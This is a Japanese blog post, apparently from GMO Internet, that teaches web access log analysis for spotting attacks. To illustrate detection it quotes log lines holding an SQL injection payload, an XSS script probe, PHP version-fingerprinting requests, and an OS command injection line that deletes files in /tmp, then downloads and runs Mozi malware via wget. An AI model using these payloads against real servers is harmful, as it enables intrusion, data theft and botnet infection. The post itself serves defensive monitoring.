こんにちは。GMOインターネットの平安です。今回は、セキュリティ対策の1つであるログ分析について、Webアクセスログを例としてお話します。
ログ分析について
ログ分析とは、様々なシステムやアプリケーションなどのログを分析して攻撃や脅威がないかを調査することです。
攻撃や異常を検知したり攻撃につながる脅威を発見したりすることで、被害を最小限に抑えたり攻撃を防ぐための対策につなげたりすることを目的としています。
分析を行うログは目的や使用しているアプリケーションによって様々ですが、例としては、自分たちが使用しているパソコンの操作ログや、Webサイトにアクセスした際にサーバーに記録されるWebアクセスログ、サーバーへ接続しようとした際の認証のログなどがあります。
アクセスログについて
今回は、ログ分析の例として、Webサイトにアクセスした際の情報が記録されるアクセスログを確認します。以下の画像は、下記のようなURLのサイトにアクセスしたときのログの例です。(IPなどログ内の一部の情報を適当な文字に変更しております。)
URL例:https://example.com/blog
123.45.67.89 - - [01/Aug/2022:00:50:47 +0000] "GET /blog HTTP/1.1" 200 9559 917340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.XX (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
↑(IPアドレス) ↑(URL) ↑(HTTPステータスコード) ↑(アクセスに使用したブラウザ)
サーバーの設定などによって出力される情報や形式は異なりますが、このログ例からは、接続したURLや接続元のIP、アクセスに使用したブラウザなどを確認することができます。
ログ分析ではこのように、どのようなURへのアクセスがあったか、どのような環境からアクセスがあったかなどの情報から、攻撃がないかを調査します。
攻撃ログの例
では次に、実際の攻撃のログを確認してみます。
下記はSQLインジェクションの脆弱性を狙った攻撃のログです。ログのURLにSELECT や WHERE などSQL文に使用される文字列が含まれていることから、攻撃のログであることが判断できます。
123.45.67.89 - - [01/Aug/2022:07:23:59 +0000] "GET /?btn_id=%28SELECT%20%28CASE%20WHEN%20%281234%3D1234%29%20THEN%20%27%27%20ELSE%20%28SELECT%201234%20UNION%20SELECT%201234%29%20END%29%29 HTTP/1.1" 200 5406 5276 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES;) Gecko/20110303 Firefox/3.X.XX"
SQLインジェクションは、アプリケーションの脆弱性を利用し、データベースを不正に操作する攻撃手法です。WEBサイトに脆弱性が存在していた場合、データベース内の情報の漏洩や改ざんなどが行われてしまう可能性があります。
他にも、「OSコマンドインジェクション」や「クロスサイトスクリプティング」などの攻撃手法があります。OSコマンドインジェクションは、Webサイトなどの脆弱性を利用して不正なOSコマンドを送信することにより、Webサーバーで想定していない動作をさせる攻撃手法です。クロスサイトスクリプティングは、Webアプリケーションの処理の脆弱性を利用した攻撃で、Webサイトに悪意のあるスクリプトを埋め込むことでサイトの利用者の情報の窃取などを行います。
OSコマンドインジェクションではコマンドの文字列、クロスサイトスクリプティングでは埋め込もうとしているスクリプトの文字列がURLに含まれることから攻撃であると判断できます。
123.45.67.89 - - [01/Aug/2022:19:11:00 +0900] "GET /shell?cd+/tmp;rm+-rf+*;wget+http//192.168.X.X:8080/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 301 918 "-" "Hello,+world"
123.45.67.89 - - [01/Aug/2022:19:11:00 +0900] "GET /?\"><script>alert('XSS')</script> HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
ここで紹介したログや攻撃手法は一例ですが、上記に記載したように、攻撃に使われる手段とログに含まれる文字列などから、どのような攻撃があるかを調査していきます。
また、ログ分析を行う中で攻撃が確認できた場合には、その攻撃が成功しているかどうかを確かめていきます。
攻撃時のアクセスでHTTPステータスコードが200を返している場合は攻撃が成功している可能性が高いため、まずはログでステータスコードを確認します。200ステータスを返していた場合は、さらに、「攻撃時のログのレスポンスbyte」と「サイトに通常通りアクセスした際のbyte」のサイズを比較して、通常と異なるページが表示されていそうかを確認したり、アクセスの内容によっては実際に同じURLにアクセスを行ってみて問題がないかを確認したりします。
200以外のステータスでも、普段と異なるログが確認できた場合は、攻撃成功やWebサイトに脆弱性が存在する可能性もあるので、確認することを推奨します。
脅威の検知
また、SQLインジェクションのような攻撃以外にも、サイトの脆弱性を取得するためのアクセスなどもあります。
以下のログはPHPのイースターエッグと呼ばれるものへのアクセスで、特定のURLでアクセスすると、PHPのロゴ画像や作成者情報などを見ることができます。
123.45.67.89 - - [01/Aug/2022:16:00:37 +0900] "GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 301 264 "-" "curl/X.XX.0"
123.45.67.89 - - [01/Aug/2022:16:00:38 +0900] "GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1" 301 264 "-" "curl/X.XX.0"
画像が表示されるというと問題はなさそうな気がしますが、これを表示させる設定になっていると、HTTPレスポンスヘッダにPHPのバージョンが表示されてしまったり、表示される画像から使用しているバージョンを推測できてしまったりすることもあります。
もし使用しているバージョンに脆弱性が存在していた場合、その脆弱性を利用した攻撃につながってしまう可能性もありますので、バージョン情報を表示させたくない場合はPHPの設定を変更するなどの対策が必要となります。
おわりに
今回はログ分析での調査について、Webサーバーへの攻撃を例として紹介させていただきました。
Webアクセスログの分析を行うことで、サイトに対する外部からの攻撃を検知したり、攻撃の兆候を見つけたりすることができます。セキュリティの脅威にいち早く対応するためにも、定期的にログ分析を実施することが重要です。